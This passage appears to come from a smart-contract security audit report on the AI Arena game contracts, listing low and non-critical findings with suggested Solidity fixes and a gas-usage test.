        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    ) 
        external 
    {
    +   require(modelURIs.length == modelTypes.length, "Misnatch array length, URI and Types");
    +   require(modelURIs.length == customAttributes.length, "Misnatch array length, URI and Attributes");

L-9

Player can set invalid customAttributes which is undesirable

When the Player calls MergingPool::claimReward() to mint their reward of a Fighter NFT, and they can choose any values for their attributes of element and weight.

The GameServer has a limited range of acceptable values for the attributes, when they are outside the range the element and weight attributes are changed to the closest acceptable value for the GameServer calculations.

Allowing the Player to enter arbitrary values, permits them the opportunity to have the on-chain representation not match the off-chain behaviour, which based on discussion with the AI Arena team member @guppy is considered undesirable.

Recommended Mitigation

Require the Player input to be within the acceptable ranges in MergingPool::claimReward()

    function claimRewards(
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    ) 
        external 
    {
+        uint numberOfClaims = customAttributes.length;
+        for( uint i; i < numberOfClaims; i++) {
+            require(customAttributes[i][0] == 100 || customAttributes[i][0] < 4, "element attrbitue range [0,1,2]");
+            require(customAttributes[i][0] == 100 || customAttributes[i][1] > 64, "weight attrbitue must be at least 65");
+            require(customAttributes[i][0] == 100 || customAttributes[i][1] < 96, "weight attrbitue must be at most 95");
+        }      

L-10

Fighter point retrieval will be unable to access higher order Fighters

When the number of Fighters increases substantially, the expense of calling MergingPool::getFighterPoints() to retrieve their points will force the use of the maxId cap due to gas cost. Ids above maxId will be excluded, with a likely use case for getFighterPoints() being a part of picking the winner, exclusion would be unfair to those Players.

Even when not called by a contract, calls that use excessive gas will cost bandwidth and encounter timeout limits for JSON-RPC retrieval, due to overwhelming data volume.

Recommended Mitigation

Implement pagination support by adding a start index in addition to the existing end index in MergingPool::getFighterPoints()

-    function getFighterPoints(uint256 maxId) public view returns(uint256[] memory) {
-        for (uint256 i = 0; i < maxId; i++) {
+    function getFighterPoints(uint256 minId, uint256 maxId) public view returns(uint256[] memory) {
+       require(minId < maxId, "minId must be smaller than maxId");
+       for (uint256 i = minId; i < maxId; i++) {

L-11

Iterating through all rounds means Fighter NFTs created after a certain round number can never claim a reward

MergingPool::claimRewards() iterates through every round since the last claim (starting at zero for a new Fighter) upto the current round, checking whether the Fighter was a winner in each round.

The loop contains SSTORE and SLOAD operations, so ever when the Fighter has not won, the gas cost adds up, and round id of ~15,000, the transaction will exceed the block gas limit on Arbitum (30,000,000).

Minting a reward is a much more gas intensive operation than merely looping, with multiple rewards, the round id of failure will reduce considerably.

Test

Gas consumption for a new Fighter NFT winning a prize after a number of dead rounds (rounds they won no prize in)

<details> <summary>Code</summary> Add the following test to [`MergingPool.t.sol`](https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/test/MergingPool.t.sol#L255) altering `deadRoundCount` accordingly

Run with forge test --match-test test_claimRewards_gas_usage -vv --gas-report

    function test_claimRewards_gas_usage() external {
        uint rewardCount = 1;
        uint deadRoundCount = 20;

        // Create the fist two Fighters
        _mintFromMergingPool(_DELEGATED_ADDRESS);
        _mintFromMergingPool(_ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(0), _DELEGATED_ADDRESS);
        assertEq(_fighterFarmContract.ownerOf(1), _ownerAddress);
        assertEq(_fighterFarmContract.totalSupply(), 2);

        // Dead rounds - _ownerAddress is not a winner, _DELEGATED_ADDRESS owns tokenId 0
        uint256[] memory noWinners = new  uint256[](2);
        for(uint deadRound; deadRound < deadRoundCount; deadRound++){
            _mergingPoolContract.pickWinner(noWinners);
        }

        // _ownerAddress is a winner
        uint256[] memory winners = _twoWinners();
        _mergingPoolContract.pickWinner(winners);
        assertEq(_mergingPoolContract.getUnclaimedRewards(_ownerAddress), rewardCount);

        string[] memory modelURIs = _createModelURIs(rewardCount);
        string[] memory modelTypes = _createModelTypes(rewardCount);
        uint256[2][] memory customAttributes = _createCustomAttributes(rewardCount);
        _mergingPoolContract.claimRewards(modelURIs, modelTypes, customAttributes);
        assertEq(_mergingPoolContract.getUnclaimedRewards(_ownerAddress), 0);
    }

</details>

Recommended Mitigation

Allow partial processing of the rounds, add an optional parameter for early iteration termination in MergingPool::claimPrize()

+    /// @param uptoRoundId process claims upto the given round id, with zero meaning process upto the current round id.
    function claimRewards(
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
-       uint256[2][] calldata customAttributes
+       uint256[2][] calldata customAttributes,
+       uint256 uptoRoundId;        
    ) 
        external 
    {
+       require( uptoRoundId <= roundId, "uptoRoundId must not exceed roundId");    
+       require( uptoRoundId > numRoundsClaimed[msg.sender], "must process more than zero rounds");
        uint256 winnersLength;
        uint32 claimIndex = 0;
        uint32 lowerBound = numRoundsClaimed[msg.sender];
        uint256 upperBound = uptoRoundId == 0 ? roundId : uptoRoundId;
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {

L-12

Allowing mid-round NRN Distribution alteration is unfair to Players

One aspect the battle rewards for a Player is their share of the NRN distribution. The share being their portion of the points accrued in the round, with the points a function of their Fighters ELO factor and the stake.

RankedBattle::setRankedNrnDistribution() enables any admin role to change the NRN distribution for the current round, irrespective of whether any battles have already occurred and may be done multiple times a round.

The NRN distribution is part of the economic incentive for the Player, and the direct impact the Player has on points is from staking on their Fighter. It is fair to assume a Player will use the NRN distribution as a factor in deciding their Fighter staking position. Allowing that variable to be altered mid-round is unfair to those who have already adjusted their stakes and had battles, as the circumstances of the points landscape have change i.e. with the new NRN distribution the Player would have placed their stakes differently.

Recommended Mitigation

Ensure no battles have been recorded before the NRN distribution is updated in RankedBattle::setRankedNrnDistribution()

    function setRankedNrnDistribution(uint256 newDistribution) external {
        require(isAdmin[msg.sender]);
+       require(totalAccumulatedPoints[roundId] > 0);              
        rankedNrnDistribution[roundId] = newDistribution * 10**18;
    }

L-13

Allowing mid-round bpsLostPerLoss alteration is unfair to Players

When a Fighter's battle record is update with a loss, and they have zero points, a portion of the stake is put at risk (the amount is a function of stake and bpsLostPerLoss). At risk stake can be won back, but otherwise at the end of the round, it is taken as protocol revenue.

RankedBattle::setBpsLostPerLoss() enables any admin role to change the bpsLostPerLoss for the current round, irrespective of whether any battles have already occurred and may be done multiple times a round.

Allowing the bpsLostPerLoss update when battles may have already put stake at risk, is unfair to the Players and potentially also the protocol. An increase to bpsLostPerLoss means the initial battles are given advantage as they put too less stake at risk, while a decrease places them at a disadvantage relative to later battles.

Recommended Mitigation

Ensure no battles have been recorded before the bpsLostPerLoss is updated in RankedBattle::setBpsLostPerLoss()

    function setBpsLostPerLoss(uint256 bpsLostPerLoss_) external {
        require(isAdmin[msg.sender]);
+       require(totalAccumulatedPoints[roundId] > 0);   
        bpsLostPerLoss = bpsLostPerLoss_;
    }

Non-Critical

NC-1

Players can waste their own voltage

VoltageManager::spendVoltage() allows the msg.sender (the player) to spend (burn) their own voltage with no gain, unlike when RankedBattle spends it on their behalf.

NC-2

Transfer ownership leaves the initial owner as an admin role

In the constructor, beside the owner role, the owner address is also assigned as the admin role, however transferOwnership() does not remove the admin role. After transferring ownership, the initial owner will remain as an admin.

Instances: 5

src/GameItems.sol src/MergingPool.sol src/Neuron.sol src/RankedBattle.sol src/VoltageManager.sol

NC-3

Attribute probabilities can exceed 100%

An absence of a sum check would allow the attribute matrix to exceed the usable range of 0-99 in AiArenaHelper::addAttributeProbabilities()

NC-4

Incorrect @notice for fighterPoints

The @notice comment incorrectly describes tokenIds (Id of the Fighter NFT) as address in src/MergingPool.sol

+    /// @notice Mapping of tokenId to fighter points.
-    /// @notice Mapping of address to fighter points.
    mapping(uint256 => uint256) public fighterPoints;

NC-5

Deleting attributes will cause future Fighters to have invalid physical attributes

AiArenaHelper::deleteAttributeProbabilities() allows an admin to delete the attributeProbabilities for a generation of Fighters. When there are no attributeProbabilities during creating a Fighter, then all the physical are set as index 0, while when present the physical attribute indices begin at 1.

NC-6

Players can time their GameItems minting to achieve twice the allowance in 24hrs

GameItems imposes daily allowance of item minting on Players (for economic, rather game balance purposes).

Using getter to inspect their allowance refresh time, a Player can mint the maximum allowance of GameItems just prior to their daily allowance refresh time, and then again after. Achieving twice their daily allowance, within one day, technically breaking the invariant of a daily allowance.

NC-7

A Fighter cannot be staked on the round of transfer

If a Player has removed stake on their Fighter with RankedBattle::unstakeNRN(), they cannot in the same round add stake to that Fighter.

When a Player removes their stake on a Fighter to transfer to another Player, that new Player cannot stake on their newly acquire Fighter until the next round.

Unexpected behaviour as the new Player had not unstaked that Fighter, but as the semaphore flagging applies only to the Fighter Id, irrespective of the owner.

NC-8

Players can be denied their NRN rewards when the mint cap is exceeded

Rewards given by RankedBattle::claimNRN() are minted from Neuron.sol, which has a mint cap.

If the amount of NRN to mint for the rewards exceed the mint cap, the Players will be denied their rewards.